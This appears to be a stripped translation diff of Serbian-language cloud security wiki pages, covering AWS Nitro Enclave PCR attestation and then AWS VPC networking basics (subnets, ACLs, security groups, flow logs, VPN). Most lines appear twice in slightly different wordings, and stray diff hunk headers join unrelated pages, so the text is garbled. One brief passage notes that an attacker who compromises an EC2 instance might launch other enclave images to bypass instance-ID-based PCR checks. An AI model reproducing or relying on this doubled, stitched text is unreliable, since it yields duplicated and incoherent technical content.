Sa [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), ovo su PCR vrednosti:
<table><thead><tr><th width="97">PCR</th><th width="221">Hash of ...</th><th>Opis</th></tr></thead><tbody><tr><td>PCR0</td><td>Fajl slike enklave</td><td>Kontinuirano merenje sadržaja fajla slike, bez podataka o sekciji.</td></tr><tr><td>PCR1</td><td>Linux kernel i bootstrap</td><td>Kontinuirano merenje podataka kernela i boot ramfs.</td></tr><tr><td>PCR2</td><td>Aplikacija</td><td>Kontinuirano, redosledno merenje korisničkih aplikacija, bez boot ramfs.</td></tr><tr><td>PCR3</td><td>IAM uloga dodeljena roditeljskoj instanci</td><td>Kontinuirano merenje IAM uloge dodeljene roditeljskoj instanci. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima ispravnu IAM ulogu.</td></tr><tr><td>PCR4</td><td>ID instance roditeljske instance</td><td>Kontinuirano merenje ID-a roditeljske instance. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima specifičan ID instance.</td></tr><tr><td>PCR8</td><td>Potpisni sertifikat fajla slike enklave</td><td>Merenje potpisnog sertifikata specificiranog za fajl slike enklave. Osigurava da proces atestacije uspeva samo kada je enklava pokrenuta iz fajla slike enklave potpisanog specifičnim sertifikatom.</td></tr></tbody></table>
<table><thead><tr><th width="97">PCR</th><th width="221">Hash of ...</th><th>Opis</th></tr></thead><tbody><tr><td>PCR0</td><td>Fajl slike enklave</td><td>Kontinuirano merenje sadržaja fajla slike, bez podataka o sekciji.</td></tr><tr><td>PCR1</td><td>Linux kernel i bootstrap</td><td>Kontinuirano merenje podataka kernela i boot ramfs.</td></tr><tr><td>PCR2</td><td>Aplikacija</td><td>Kontinuirano, u redosledu merenje korisničkih aplikacija, bez boot ramfs.</td></tr><tr><td>PCR3</td><td>IAM uloga dodeljena roditeljskoj instanci</td><td>Kontinuirano merenje IAM uloge dodeljene roditeljskoj instanci. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima ispravnu IAM ulogu.</td></tr><tr><td>PCR4</td><td>ID instance roditeljske instance</td><td>Kontinuirano merenje ID-a roditeljske instance. Osigurava da proces atestacije uspeva samo kada roditeljska instanca ima specifičan ID instance.</td></tr><tr><td>PCR8</td><td>Potpisni sertifikat fajla slike enklave</td><td>Merenje potpisnog sertifikata specificiranog za fajl slike enklave. Osigurava da proces atestacije uspeva samo kada je enklava pokrenuta iz fajla slike enklave potpisanog specifičnim sertifikatom.</td></tr></tbody></table>
Možete integrisati **kriptografsku atestaciju** u svoje aplikacije i iskoristiti unapred izgrađene integracije sa uslugama kao što je **AWS KMS**. AWS KMS može **validirati atestacije enklave** i nudi ključeve zasnovane na atestaciji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) u svojim politikama ključeva. Ove politike osiguravaju da AWS KMS dozvoljava operacije korišćenjem KMS ključa **samo ako je dokument o atestaciji enklave validan** i ispunjava **specificirane uslove**.
Možete integrisati **kriptografsku atestaciju** u vaše aplikacije i iskoristiti unapred izgrađene integracije sa servisima kao što je **AWS KMS**. AWS KMS može **validirati atestacije enklava** i nudi ključeve zasnovane na atestaciji (`kms:RecipientAttestation:ImageSha384` i `kms:RecipientAttestation:PCR`) u svojim politikama ključeva. Ove politike osiguravaju da AWS KMS dozvoljava operacije korišćenjem KMS ključa **samo ako je dokument o atestaciji enklave validan** i ispunjava **specificirane uslove**.
> [!TIP]
> Imajte na umu da Enklave u režimu debagovanja (--debug) generišu dokumente o atestaciji sa PCR-ima koji se sastoje od nula (`000000000000000000000000000000000000000000000000`). Stoga, KMS politike koje proveravaju ove vrednosti će propasti.
@@ -229,7 +229,7 @@ Možete integrisati **kriptografsku atestaciju** u svoje aplikacije i iskoristit
Iz perspektive napadača, primetite da neki PCR-i omogućavaju modifikaciju nekih delova ili cele slike enklave i da će i dalje biti validni (na primer, PCR4 samo proverava ID roditeljske instance, tako da pokretanje bilo koje slike enklave u toj EC2 će omogućiti ispunjavanje ovog potencijalnog PCR zahteva).
Stoga, napadač koji kompromituje EC2 instancu može biti u mogućnosti da pokrene druge slike enklave kako bi zaobišao ove zaštite.
Stoga, napadač koji kompromituje EC2 instancu može biti u mogućnosti da pokrene druge slike enklava kako bi zaobišao ove zaštite.
Istraživanje o tome kako modifikovati/kreirati nove slike za zaobilaženje svake zaštite (posebno onih koje nisu tako očigledne) je još uvek TODO.
@@ -1,54 +1,54 @@
# AWS - VPC & Networking Basic Information
# AWS - VPC & Networking Osnovne Informacije
{{#include ../../../../banners/hacktricks-training.md}}
## AWS Networking in a Nutshell
## AWS Mrežno Ukratko
**VPC** sadrži **network CIDR** kao 10.0.0.0/16 (sa svojim **routing table** i **network ACL**).
**VPC** sadrži **mrežni CIDR** kao što je 10.0.0.0/16 (sa svojom **routing tabelom** i **mrežnim ACL**).
Ova VPC mreža je podeljena na **subnetworks**, tako da je **subnetwork** direktno **related** sa **VPC**, **routing** **table** i **network ACL**.
Ova VPC mreža je podeljena na **podmreže**, tako da je **podmreža** direktno **povezana** sa **VPC**, **routing** **tabelom** i **mrežnim ACL**.
Zatim, **Network Interface**-i povezani sa uslugama (kao što su EC2 instance) su **connected** sa **subnetworks** uz **security group(s)**.
Zatim, **mrežne interfejse** povezane sa uslugama (kao što su EC2 instance) su **povezane** sa **podmrežama** uz **grupe sigurnosti**.
Stoga, **security group** će ograničiti izložene portove mrežnih **interfaces using it**, **independently of the subnetwork**. A **network ACL** će **limit** izložene portove na **whole network**.
Stoga, **grupa sigurnosti** će ograničiti izložene portove mrežnih **interfejsa koji je koriste**, **nezavisno od podmreže**. A **mrežni ACL** će **ograničiti** izložene portove na **celu mrežu**.
Pored toga, da bi se **access Internet**, postoje neka zanimljiva podešavanja koja treba proveriti:
Pored toga, da biste **pristupili Internetu**, postoje neka zanimljiva podešavanja koja treba proveriti:
- **subnetwork** može **auto-assign public IPv4 addresses**
- **instance** kreirana u mreži koja **auto-assign IPv4 addresses može dobiti jedan**
- **Internet gateway** treba da bude **attached** na **VPC**
- **Podmreža** može **automatski dodeliti javne IPv4 adrese**
- **Instanca** kreirana u mreži koja **automatski dodeljuje IPv4 adrese može dobiti jednu**
- **Internet gateway** treba da bude **priključen** na **VPC**
- Takođe možete koristiti **Egress-only internet gateways**
- Takođe možete imati **NAT gateway** u **private subnet** tako da je moguće **connect to external services** iz te privatne podmreže, ali **nije moguće doći do njih sa spolja**.
- NAT gateway može biti **public** (pristup internetu) ili **private** (pristup drugim VPC-ima)
- Takođe možete imati **NAT gateway** u **privatnoj podmreži** tako da je moguće **povezati se sa spoljnim uslugama** iz te privatne podmreže, ali **nije moguće doći do njih sa spolja**.
- NAT gateway može biti **javan** (pristup internetu) ili **privatan** (pristup drugim VPC-ima)
![](<../../../../images/image (274).png>)
## VPC
Amazon **Virtual Private Cloud** (Amazon VPC) omogućava vam da **launch AWS resources into a virtual network** koju ste definisali. Ova virtuelna mreža će imati nekoliko podmreža, Internet Gateway-e za pristup internetu, ACL-e, Security grupe, IP-e...
Amazon **Virtual Private Cloud** (Amazon VPC) vam omogućava da **pokrenete AWS resurse u virtuelnoj mreži** koju ste definisali. Ova virtuelna mreža će imati nekoliko podmreža, Internet Gateway-e za pristup Internetu, ACL-e, grupe sigurnosti, IP adrese...
### Subnets
### Podmreže
Subnets pomažu u sprovođenju veg nivoa sigurnosti. **Logičko grupisanje sličnih resursa** takođe pomaže u održavanju **ease of management** kroz vašu infrastrukturu.
Podmreže pomažu u sprovođenju veg nivoa sigurnosti. **Logičko grupisanje sličnih resursa** takođe pomaže u održavanju **lakoće upravljanja** kroz vašu infrastrukturu.
- Valid CIDR su od /16 netmask do /28 netmask.
- Subnet ne može biti u različitim dostupnim zonama u isto vreme.
- **AWS rezerviše prva tri host IP adrese** svake podmreže **za** **internal AWS usage**: prva host adresa se koristi za VPC ruter. Druga adresa je rezervisana za AWS DNS, a treća adresa je rezervisana za buduću upotrebu.
- Zovu se **public subnets** one koje imaju **direct access to the Internet, dok privatne podmreže nemaju.**
- Validni CIDR su od /16 netmask do /28 netmask.
- Podmreža ne može biti u različitim dostupnim zonama u isto vreme.
- **AWS rezerviše prva tri host IP adrese** svake podmreže **za** **internu AWS upotrebu**: prva host adresa se koristi za VPC ruter. Druga adresa je rezervisana za AWS DNS, a treća adresa je rezervisana za buduću upotrebu.
- **Javne podmreže** su one koje imaju **direktan pristup Internetu, dok privatne podmreže nemaju.**
<figure><img src="https://lh5.googleusercontent.com/N_WTrTrDAHwN61FMKJvLSHVua2EM0IazHH1fSTg8JQfTChm-dLN9mn7wkjz2MlpD-uOUqtWdMZpqKOp4VxaHy5-5X66GD1K8y1UGc27r-GbHdFty9ImpXdcjEsC7u4vjxKme_B_HwDOUnG6camxENYECTw=s2048" alt=""><figcaption></figcaption></figure>
<figure><img src="https://lh3.googleusercontent.com/MmjfVzGmV4jM7tO8lVoTKONoeqbq6E40DGeKUoo4kN-lmMDKnEiGNB-gGVx3EvjK9UV844im225CA8aAjomHf1Modt3MramHrHZdEGbeSZncWhVuT9R8f7tQZ2pXjdSJxeNfErmJ-0mmcUaV6dcU0TAd2A=s2048" alt=""><figcaption></figcaption></figure>
### Route Tables
### Tabele Rute
Route tables određuju usmeravanje saobraćaja za podmrežu unutar VPC-a. Određuju koji mrežni saobraćaj se prosleđuje internetu ili VPN konekciji. Obično ćete pronaći pristup do:
Tabele rute određuju usmeravanje saobraćaja za podmrežu unutar VPC-a. One određuju koji mrežni saobraćaj se prosleđuje internetu ili VPN konekciji. Obično ćete pronaći pristup do:
- Lokalnog VPC-a
- NAT
- Internet Gateway-a / Egress-only Internet gateway-a (potrebno za davanje VPC-u pristupa internetu).
- Da biste učinili podmrežu javnom, potrebno je da **create** i **attach** **Internet gateway** na vaš VPC.
- VPC endpoints (za pristup S3 iz privatnih mreža)
- Internet Gateway-a / Egress-only Internet gateway-a (neophodni za omogućavanje pristupa VPC-u internetu).
- Da biste napravili podmrežu javnom, potrebno je da **kreirate** i **priključite** **Internet gateway** na vaš VPC.
- VPC krajnje tačke (za pristup S3 iz privatnih mreža)
Na sledećim slikama možete proveriti razlike između podrazumevane javne mreže i privatne:
@@ -58,96 +58,96 @@ Na sledećim slikama možete proveriti razlike između podrazumevane javne mrež
### ACLs
**Network Access Control Lists (ACLs)**: Mrežne ACL-ove su pravila vatrozida koja kontrolišu dolazni i odlazni mrežni saobraćaj do podmreže. Mogu se koristiti za dozvoljavanje ili odbijanje saobraćaja za određene IP adrese ili opsege.
**Mrežne Kontrolne Liste (ACLs)**: Mrežni ACL-ovi su pravila vatrozida koja kontrolišu dolazni i odlazni mrežni saobraćaj ka podmreži. Mogu se koristiti za dozvoljavanje ili odbijanje saobraćaja ka specifičnim IP adresama ili opsezima.
- Najčešće se koristi dozvola/odbijanje pristupa koristeći sigurnosne grupe, ali ovo je jedini način da se potpuno prekine uspostavljene obrnute ljuske. Izmenjeno pravilo u sigurnosnim grupama ne zaustavlja već uspostavljene veze.
- Međutim, ovo se odnosi na celu podmrežu, budite oprezni kada zabranjujete stvari jer bi potrebna funkcionalnost mogla biti poremećena.
- Najčešće se koristi dozvoljavanje/odbijanje pristupa putem grupa sigurnosti, ali ovo je jedini način da se potpuno prekine uspostavljene obrnute ljuske. Izmenjeno pravilo u grupama sigurnosti ne zaustavlja već uspostavljene veze.
- Međutim, ovo se primenjuje na celu podmrežu, budite oprezni kada zabranjujete stvari jer potrebna funkcionalnost može biti ometena.
### Security Groups
### Grupe Sigurnosti
Sigurnosne grupe su virtuelni **firewall** koji kontroliše dolazni i odlazni mrežni **traffic to instances** u VPC-u. Odnos 1 SG na M instance (obično 1 na 1).\
Grupe sigurnosti su virtuelni **vatrozid** koji kontroliše dolazni i odlazni mrežni **saobraćaj ka instancama** u VPC-u. Odnos 1 SG na M instanci (obično 1 na 1).\
Obično se koristi za otvaranje opasnih portova u instancama, kao što je port 22 na primer:
<figure><img src="https://lh5.googleusercontent.com/LliB7eb3cYfkEyOpyw1-eYgWsn2kq1yF6uRn5VYndvOuTvDlURimYx9UvuK8F2impTLmx50mid4MdTXE-Ljt2i_rxaIfnKUdji_hFjCdU9tdoW-axng9-W4tSL71gbbjrPQ7IYY5lAdH_G3UoMRMGGGOxQ=s2048" alt=""><figcaption></figcaption></figure>
### Elastic IP Addresses
### Elastične IP Adrese
_Elastic IP adresa_ je **static IPv4 address** dizajnirana za dinamičko cloud računarstvo. Elastic IP adresa se dodeljuje vašem AWS nalogu i vaša je dok je ne oslobodite. Korišćenjem Elastic IP adrese, možete maskirati kvar instance ili softvera brzo preusmeravajući adresu na drugu instancu u vašem nalogu.
_Elastična IP adresa_ je **staticka IPv4 adresa** dizajnirana za dinamičko cloud računarstvo. Elastična IP adresa se dodeljuje vašem AWS nalogu i vaša je dok je ne oslobodite. Korišćenjem elastične IP adrese, možete maskirati kvar instance ili softvera brzo preusmeravajući adresu na drugu instancu u vašem nalogu.
### Connection between subnets
### Povezivanje između podmreža
Podrazumevano, sve podmreže imaju **automatski dodeljenu javnu IP adresu isključenu**, ali se može uključiti.
Podrazumevano, sve podmreže imaju **automatsko dodeljivanje javnih IP adresa isključeno**, ali to može biti uključeno.
**Lokalna ruta unutar tabele ruta omogućava komunikaciju između VPC podmreža.**
**Lokalna ruta unutar tabele rute omogućava komunikaciju između VPC podmreža.**
Ako **povezujete podmrežu sa drugom podmrežom, ne možete pristupiti podmrežama povezanim** sa drugom podmrežom, morate direktno uspostaviti vezu sa njima. **Ovo se takođe odnosi na internet gateway-e**. Ne možete proći kroz vezu podmreže da biste pristupili internetu, morate dodeliti internet gateway svojoj podmreži.
### VPC Peering
VPC peering vam omogućava da **connect two or more VPCs together**, koristeći IPV4 ili IPV6, kao da su deo iste mreže.
VPC peering vam omogućava da **povežete dva ili više VPC-a zajedno**, koristeći IPV4 ili IPV6, kao da su deo iste mreže.
Jednom kada je uspostavljena veza, **resources in one VPC can access resources in the other**. Povezanost između VPC-ova se implementira kroz postojeću AWS mrežnu infrastrukturu, tako da je visoko dostupna bez uskog grla u propusnosti. Kako **peered connections operate as if they were part of the same network**, postoje ograničenja kada su u pitanju vaši CIDR opsezi koji se mogu koristiti.\
Ako imate **overlapping or duplicate CIDR** opsege za vaš VPC, onda **nećete moći da povežete VPC-ove** zajedno.\
Svaki AWS VPC će **samo komunicirati sa svojim peer-om**. Na primer, ako imate vezu između VPC 1 i VPC 2, i drugu vezu između VPC 2 i VPC 3, kao što je prikazano, tada bi VPC 1 i 2 mogli direktno komunicirati jedni s drugima, kao i VPC 2 i VPC 3, međutim, VPC 1 i VPC 3 ne bi mogli. **Ne možete usmeriti kroz jedan VPC da biste došli do drugog.**
Jednom kada je uspostavljena veza, **resursi u jednom VPC-u mogu pristupiti resursima u drugom**. Povezanost između VPC-ova se implementira kroz postojeću AWS mrežnu infrastrukturu, i tako je visoko dostupna bez uskog grla u propusnosti. Kako **povezane veze funkcionišu kao da su deo iste mreže**, postoje ograničenja kada su u pitanju vaši CIDR opsezi koji se mogu koristiti.\
Ako imate **preklapajuće ili duplirane CIDR** opsege za vaš VPC, onda **nećete moći da povežete VPC-ove** zajedno.\
Svaki AWS VPC će **komunicirati samo sa svojim partnerom**. Na primer, ako imate vezu između VPC 1 i VPC 2, i drugu vezu između VPC 2 i VPC 3, kao što je prikazano, tada VPC 1 i 2 mogu direktno komunicirati jedni s drugima, kao i VPC 2 i VPC 3, međutim, VPC 1 i VPC 3 ne mogu. **Ne možete usmeravati kroz jedan VPC da biste došli do drugog.**
### **VPC Flow Logs**
### **VPC Tokovi Logova**
Unutar vašeg VPC-a, mogli biste imati stotine ili čak hiljade resursa koji komuniciraju između različitih podmreža, kako javnih tako i privatnih, kao i između različitih VPC-ova putem VPC peering veza. **VPC Flow Logs vam omogućavaju da zabeležite IP saobraćajne informacije koje teku između vaših mrežnih interfejsa vaših resursa unutar vašeg VPC-a**.
Unutar vašeg VPC-a, potencijalno možete imati stotine ili čak hiljade resursa koji komuniciraju između različitih podmreža, kako javnih tako i privatnih, kao i između različitih VPC-ova putem VPC peering veza. **VPC Tokovi Logova vam omogućavaju da zabeležite informacije o IP saobraćaju koji teče između mrežnih interfejsa vaših resursa unutar vašeg VPC-a**.
Za razliku od S3 pristupnih logova i CloudFront pristupnih logova, **podaci logova generisani od strane VPC Flow Logs se ne čuvaju u S3. Umesto toga, podaci logova se šalju u CloudWatch logove**.
Za razliku od S3 logova pristupa i CloudFront logova pristupa, **podaci logova generisani od strane VPC Tokova Logova se ne čuvaju u S3. Umesto toga, podaci logova se šalju u CloudWatch logove**.
Ograničenja:
- Ako pokrećete VPC peered vezu, tada ćete moći da vidite samo flow logove peered VPC-ova koji su unutar istog naloga.
- Ako pokrećete VPC peering vezu, tada ćete moći da vidite tokove logova samo za povezane VPC-ove koji su unutar istog naloga.
- Ako još uvek pokrećete resurse unutar EC2-Classic okruženja, nažalost nećete moći da dobijete informacije sa njihovih interfejsa.
- Kada je VPC Flow Log kreiran, ne može se izmeniti. Da biste izmenili konfiguraciju VPC Flow Log-a, morate ga obrisati i zatim kreirati novi.
- Sledeći saobraćaj se ne prati i ne beleži u logovima. DHCP saobraćaj unutar VPC-a, saobraćaj iz instanci namenjen Amazon DNS Serveru.
- Bilo koji saobraćaj namenjen IP adresi za VPC podrazumevnog rutera i saobraćaj do i od sledećih adresa, 169.254.169.254 koja se koristi za prikupljanje metapodataka instance, i 169.254.169.123 koja se koristi za Amazon Time Sync Service.
- Saobraćaj koji se odnosi na licencu za aktivaciju Amazon Windows iz Windows instance.
- Kada je VPC Tok Logova kreiran, ne može se izmeniti. Da biste izmenili konfiguraciju VPC Tok Logova, morate ga obrisati i zatim kreirati novi.
- Sledeći saobraćaj se ne prati i ne beleži u logovima. DHCP saobraćaj unutar VPC-a, saobraćaj sa instanci namenjen Amazon DNS serveru.
- Bilo koji saobraćaj namenjen IP adresi za podrazumevani ruter VPC-a i saobraćaj do i od sledećih adresa, 169.254.169.254 koja se koristi za prikupljanje metapodataka instance, i 169.254.169.123 koja se koristi za Amazon Time Sync Service.
- Saobraćaj koji se odnosi na licencu za aktivaciju Windows-a iz Windows instance.
- Saobraćaj između interfejsa mrežnog balansiranja opterećenja i interfejsa krajnje tačke mreže.
Za svaki mrežni interfejs koji objavljuje podatke u CloudWatch log grupu, koristiće se različiti log stream. I unutar svakog od ovih stream-ova, biće podaci o događajima flow log-a koji prikazuju sadržaj log unosa. Svaki od ovih **logova beleži podatke tokom prozora od otprilike 10 do 15 minuta**.
Za svaki mrežni interfejs koji objavljuje podatke u CloudWatch grupu logova, koristiće se različit tok logova. I unutar svakog od ovih tokova, biće podaci o događajima logova koji prikazuju sadržaj log unosa. Svaki od ovih **logova beleži podatke tokom prozora od otprilike 10 do 15 minuta**.
## VPN
### Basic AWS VPN Components
### Osnovne Komponente AWS VPN-a
1. **Customer Gateway**:
- Customer Gateway je resurs koji kreirate u AWS-u da biste predstavili vašu stranu VPN veze.
1. **Kupčev Gateway**:
- Kupčev Gateway je resurs koji kreirate u AWS-u da biste predstavili vašu stranu VPN veze.
- To je u suštini fizički uređaj ili softverska aplikacija na vašoj strani Site-to-Site VPN veze.
- Pružate informacije o usmeravanju i javnu IP adresu vašeg mrežnog uređaja (kao što je ruter ili vatrozid) AWS-u da biste kreirali Customer Gateway.
- Služi kao referentna tačka za postavljanje VPN veze i ne donosi dodatne troškove.
2. **Virtual Private Gateway**:
- Virtual Private Gateway (VPG) je VPN koncentrator na Amazon strani Site-to-Site VPN veze.
- Povezan je sa vašim VPC-om i služi kao cilj za vašu VPN vezu.
- Pružate informacije o usmeravanju i javnu IP adresu vašeg mrežnog uređaja (kao što je ruter ili vatrozid) AWS-u da biste kreirali Kupčev Gateway.
- Služi kao referentna tačka za postavljanje VPN veze i ne izaziva dodatne troškove.
2. **Virtuelni Privatni Gateway**:
- Virtuelni Privatni Gateway (VPG) je VPN koncentrator na Amazon strani Site-to-Site VPN veze.
- Priključen je na vaš VPC i služi kao cilj za vašu VPN vezu.
- VPG je AWS strana krajnje tačke za VPN vezu.
- Rukuje sigurnom komunikacijom između vašeg VPC-a i vaše lokalne mreže.
3. **Site-to-Site VPN Connection**:
3. **Site-to-Site VPN Veza**:
- Site-to-Site VPN veza povezuje vašu lokalnu mrežu sa VPC-om kroz sigurni, IPsec VPN tunel.
- Ova vrsta veze zahteva Customer Gateway i Virtual Private Gateway.
- Ova vrsta veze zahteva Kupčev Gateway i Virtuelni Privatni Gateway.
- Koristi se za sigurnu, stabilnu i doslednu komunikaciju između vašeg data centra ili mreže i vašeg AWS okruženja.
- Obično se koristi za redovne, dugoročne veze i naplaćuje se na osnovu količine podataka prenetih preko veze.
4. **Client VPN Endpoint**:
- Client VPN endpoint je resurs koji kreirate u AWS-u da omogućite i upravljate klijent VPN sesijama.
4. **Klijent VPN Krajnja Tačka**:
- Klijent VPN krajnja tačka je resurs koji kreirate u AWS-u da omogućite i upravljate klijent VPN sesijama.
- Koristi se za omogućavanje pojedinačnim uređajima (kao što su laptopi, pametni telefoni itd.) da se sigurno povežu sa AWS resursima ili vašom lokalnom mrežom.
- Razlikuje se od Site-to-Site VPN po tome što je dizajniran za pojedinačne klijente, a ne za povezivanje celih mreža.
- Sa Client VPN-om, svaki klijentski uređaj koristi VPN klijentski softver za uspostavljanje sigurne veze.
- Razlikuje se od Site-to-Site VPN-a po tome što je dizajnirana za pojedinačne klijente, a ne za povezivanje celih mreža.
- Sa Klijent VPN-om, svaki klijentski uređaj koristi VPN klijentski softver za uspostavljanje sigurne veze.
### Site-to-Site VPN
**Povežite vašu lokalnu mrežu sa vašim VPC-om.**
- **VPN connection**: Sigurna veza između vaše lokalne opreme i vaših VPC-ova.
- **VPN tunnel**: Enkriptovana veza kroz koju podaci mogu prolaziti iz mreže klijenta ka AWS-u ili obrnuto.
- **VPN veza**: Sigurna veza između vaše lokalne opreme i vaših VPC-ova.
- **VPN tunel**: Enkriptovana veza kroz koju podaci mogu prolaziti iz mreže kupca ka AWS-u ili obrnuto.
Svaka VPN veza uključuje dva VPN tunela koja možete istovremeno koristiti za visoku dostupnost.
- **Customer gateway**: AWS resurs koji pruža informacije AWS-u o vašem uređaju za customer gateway.
- **Customer gateway device**: Fizički uređaj ili softverska aplikacija na vašoj strani Site-to-Site VPN veze.
- **Virtual private gateway**: VPN koncentrator na Amazon strani Site-to-Site VPN veze. Koristite virtuelni privatni gateway ili transit gateway kao gateway za Amazon stranu Site-to-Site VPN veze.
- **Kupčev gateway**: AWS resurs koji pruža informacije AWS-u o vašem uređaju kupčevog gateway-a.
- **Uređaj kupčevog gateway-a**: Fizički uređaj ili softverska aplikacija na vašoj strani Site-to-Site VPN veze.
- **Virtuelni privatni gateway**: VPN koncentrator na Amazon strani Site-to-Site VPN veze. Koristite virtuelni privatni gateway ili transit gateway kao gateway za Amazon stranu Site-to-Site VPN veze.
- **Transit gateway**: Transit hub koji se može koristiti za međusobno povezivanje vaših VPC-ova i lokalnih mreža. Koristite transit gateway ili virtuelni privatni gateway kao gateway za Amazon stranu Site-to-Site VPN veze.
#### Limitations
#### Ograničenja
- IPv6 saobraćaj nije podržan za VPN veze na virtuelnom privatnom gateway-u.
- AWS VPN veza ne podržava Path MTU Discovery.
@@ -156,40 +156,40 @@ Pored toga, uzmite u obzir sledeće kada koristite Site-to-Site VPN.
- Kada povezujete svoje VPC-ove sa zajedničkom lokalnom mrežom, preporučujemo da koristite nepreklapajuće CIDR blokove za vaše mreže.
### Client VPN <a href="#what-is-components" id="what-is-components"></a>
### Klijent VPN <a href="#what-is-components" id="what-is-components"></a>
**Povežite se sa vašeg računara na vaš VPC**
#### Concepts
#### Koncepti
- **Client VPN endpoint:** Resurs koji kreirate i konfigurišete da omogućite i upravljate klijent VPN sesijama. To je resurs gde se završavaju sve klijent VPN sesije.
- **Target network:** Ciljna mreža je mreža koju povezujete sa Client VPN endpoint-om. **Podmreža iz VPC-a je ciljana mreža**. Povezivanje podmreže sa Client VPN endpoint-om omogućava vam da uspostavite VPN sesije. Možete povezati više podmreža sa Client VPN endpoint-om za visoku dostupnost. Sve podmreže moraju biti iz iste VPC. Svaka podmreža mora pripadati različitoj dostupnoj zoni.
- **Route**: Svaki Client VPN endpoint ima tabelu ruta koja opisuje dostupne odredišne mrežne rute. Svaka ruta u tabeli ruta specificira putanju za saobraćaj ka određenim resursima ili mrežama.
- **Authorization rules:** Pravilo autorizacije **ograničava korisnike koji mogu pristupiti mreži**. Za određenu mrežu, konfigurišete Active Directory ili grupu provajdera identiteta (IdP) kojoj je dozvoljen pristup. Samo korisnici koji pripadaju ovoj grupi mogu pristupiti određenoj mreži. **Podrazumevano, nema pravila autorizacije** i morate konfigurisati pravila autorizacije da omogućite korisnicima pristup resursima i mrežama.
- **Client:** Krajnji korisnik koji se povezuje na Client VPN endpoint da uspostavi VPN sesiju. Krajnji korisnici treba da preuzmu OpenVPN klijent i koriste konfiguracioni fajl Client VPN koji ste kreirali da uspostave VPN sesiju.
- **Client CIDR range:** Opseg IP adresa iz kojeg se dodeljuju klijentske IP adrese. Svaka veza sa Client VPN endpoint-om dodeljuje jedinstvenu IP adresu iz opsega klijentskog CIDR-a. Birate opseg klijentskog CIDR-a, na primer, `10.2.0.0/16`.
- **Client VPN ports:** AWS Client VPN podržava portove 443 i 1194 za TCP i UDP. Podrazumevani port je 443.
- **Client VPN network interfaces:** Kada povežete podmrežu sa vašim Client VPN endpoint-om, kreiramo mrežne interfejse Client VPN u toj podmreži. **Saobraćaj koji se šalje u VPC iz Client VPN endpoint-a šalje se kroz mrežni interfejs Client VPN**. Zatim se primenjuje prevođenje izvorne mrežne adrese (SNAT), gde se izvorna IP adresa iz opsega klijentskog CIDR-a prevodi na IP adresu mrežnog interfejsa Client VPN.
- **Connection logging:** Možete omogućiti beleženje veza za vaš Client VPN endpoint da zabeležite događaje veze. Ove informacije možete koristiti za forenziku, analizu kako se vaš Client VPN endpoint koristi ili rešavanje problema sa vezama.
- **Self-service portal:** Možete omogućiti portal za samoposlugu za vaš Client VPN endpoint. Klijenti se mogu prijaviti na web portal koristeći svoje akreditive i preuzeti najnoviju verziju konfiguracionog fajla Client VPN endpoint-a, ili najnoviju verziju klijenta koji pruža AWS.
- **Klijent VPN krajnja tačka:** Resurs koji kreirate i konfigurišete da omogućite i upravljate klijent VPN sesijama. To je resurs gde se sve klijent VPN sesije završavaju.
- **Ciljna mreža:** Ciljna mreža je mreža koju povezujete sa Klijent VPN krajnjom tačkom. **Podmreža iz VPC-a je ciljana mreža**. Povezivanje podmreže sa Klijent VPN krajnjom tačkom omogućava vam da uspostavite VPN sesije. Možete povezati više podmreža sa Klijent VPN krajnjom tačkom za visoku dostupnost. Sve podmreže moraju biti iz iste VPC. Svaka podmreža mora pripadati različitoj dostupnoj zoni.
- **Ruta**: Svaka Klijent VPN krajnja tačka ima tabelu ruta koja opisuje dostupne odredišne mrežne rute. Svaka ruta u tabeli ruta specificira putanju za saobraćaj ka specifičnim resursima ili mrežama.
- **Pravila autorizacije:** Pravilo autorizacije **ograničava korisnike koji mogu pristupiti mreži**. Za određenu mrežu, konfigurišete Active Directory ili grupu provajdera identiteta (IdP) kojoj je dozvoljen pristup. Samo korisnici koji pripadaju ovoj grupi mogu pristupiti određenoj mreži. **Podrazumevano, nema pravila autorizacije** i morate konfigurisati pravila autorizacije da omogućite korisnicima pristup resursima i mrežama.
- **Klijent:** Krajnji korisnik koji se povezuje na Klijent VPN krajnju tačku da uspostavi VPN sesiju. Krajnji korisnici treba da preuzmu OpenVPN klijent i koriste konfiguracioni fajl Klijent VPN-a koji ste kreirali da uspostave VPN sesiju.
- **Klijent CIDR opseg:** Opseg IP adresa iz kojeg se dodeljuju klijentske IP adrese. Svaka veza sa Klijent VPN krajnjom tačkom dodeljuje jedinstvenu IP adresu iz klijent CIDR opsega. Birate klijent CIDR opseg, na primer, `10.2.0.0/16`.
- **Klijent VPN portovi:** AWS Klijent VPN podržava portove 443 i 1194 za TCP i UDP. Podrazumevani port je 443.
- **Klijent VPN mrežni interfejsi:** Kada povežete podmrežu sa vašom Klijent VPN krajnjom tačkom, kreiramo Klijent VPN mrežne interfejse u toj podmreži. **Saobraćaj koji se šalje u VPC iz Klijent VPN krajnje tačke šalje se kroz Klijent VPN mrežni interfejs**. Zatim se primenjuje prevođenje izvorne mrežne adrese (SNAT), gde se izvorna IP adresa iz klijent CIDR opsega prevodi na IP adresu Klijent VPN mrežnog interfejsa.
- **Logovanje konekcija:** Možete omogućiti logovanje konekcija za vašu Klijent VPN krajnju tačku da beležite događaje konekcija. Ove informacije možete koristiti za forenziku, analizu kako se vaša Klijent VPN krajnja tačka koristi ili za otklanjanje problema sa konekcijama.
- **Portal za samoposluživanje:** Možete omogućiti portal za samoposluživanje za vašu Klijent VPN krajnju tačku. Klijenti se mogu prijaviti na web portal koristeći svoje akreditive i preuzeti najnoviju verziju konfiguracionog fajla Klijent VPN krajnje tačke, ili najnoviju verziju klijenta koji pruža AWS.
#### Limitations
#### Ograničenja
- **Client CIDR ranges cannot overlap with the local CIDR** VPC-a u kojem se nalazi povezana podmreža, ili bilo koje rute ručno dodate u tabelu ruta Client VPN endpoint-a.
- Opsezi klijentskog CIDR-a moraju imati veličinu bloka od **najmanje /22** i ne smeju **biti veći od /12.**
- **Deo adresa** u opsegu klijentskog CIDR-a se koristi za **podršku modelu dostupnosti** Client VPN endpoint-a i ne može se dodeliti klijentima. Stoga preporučujemo da **dodelite CIDR blok koji sadrži dvostruko više IP adresa koje su potrebne** da omogućite maksimalan broj istovremenih veza koje planirate da podržite na Client VPN endpoint-u.
